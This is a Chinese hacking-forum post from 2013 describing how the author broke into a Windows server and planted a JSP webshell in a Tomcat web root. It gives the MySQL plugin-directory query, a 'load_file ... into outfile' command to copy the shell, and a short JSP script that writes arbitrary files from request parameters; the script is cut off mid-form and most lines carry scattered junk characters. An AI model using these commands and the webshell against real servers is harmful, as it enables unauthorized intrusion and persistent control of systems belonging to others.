找回密码
 立即注册
查看: 2906|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
3 v" S* h" H9 ~$ \2 q0 o& i. ~0 K& x( \( j
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
. u3 f# S* j  J* ^- W安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
' x% O- {! a* T/ B0 E# P8 k提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了! T: L; m7 H8 h% R1 w
1 show variables like '%plugin%';, w  ^6 O0 `7 ~$ P7 x
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功! Q0 j, E' a4 D5 J7 U5 s
创建自定义函数似乎被拦截,一直失败。
, f" g/ R7 D' W4 I5 }后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限( D7 B. A! d: v  O4 G, ~9 m- o
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
1 Q& n; K! ?0 |  r9 N- l用mysql执行语句:
2 s8 j6 m3 a9 E* ?" V8 I$ w1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
. K2 _# P2 E5 [* U2 复制代码1 ?% U, i2 ^) V+ Q, H. C
后成功。" L8 m2 q6 L0 ?: Q% y
但是访问后得到如下提示:
% Q2 }" {# l& p1 B( J​500页面+ t" K) {& `  E9 c

$ K0 {( u: x1 f" z5 j' L) N) ^" ]7 t3 B4 @5 |4 L; u; K, P8 ]
明显是MySQL的Win下版本自动添加转义符\n\r了2 }9 k, ?. ^) |. }( w3 N( S$ x) D9 z
这样导致程序运行的悲剧。
- l! t" m* f7 ^; I$ k从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。1 D0 T; G) E) r2 R" h
最后弄了这么个小脚本:
1 F9 i' I! n, X1 p* y4 j8 k3 B/ m01 <%@ page language="java" pageEncoding="gbk"%>- }5 a6 Q, C6 w/ c8 T2 [9 e
02 <jsp:directive.page import="java.io.File"/>
# N9 T( l+ c! i  k# y: K# S6 }4 S03 <jsp:directive.page import="java.io.OutputStream"/>5 M2 r! z' k' ]. p2 W
04 <jsp:directive.page import="java.io.FileOutputStream"/>4 t, B7 `8 ^" B; S: o
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
5 L* ^$ c6 E8 ^) c06 error www.2cto.com
. ^( u: j9 [# G07 <%}}if(i==0){%>" {* v6 K% m8 P! F% a! |
08 ok
8 H' N: i& m/ O# h# D' Z09 <%}%>
. i7 Y3 h4 V1 R, x+ Z- @10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">7 n1 h5 X( g; j' x
就可以避免转义符让JSP的马儿运行500错误了。
8 r& C& h/ H1 |6 U- ~4 _* c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表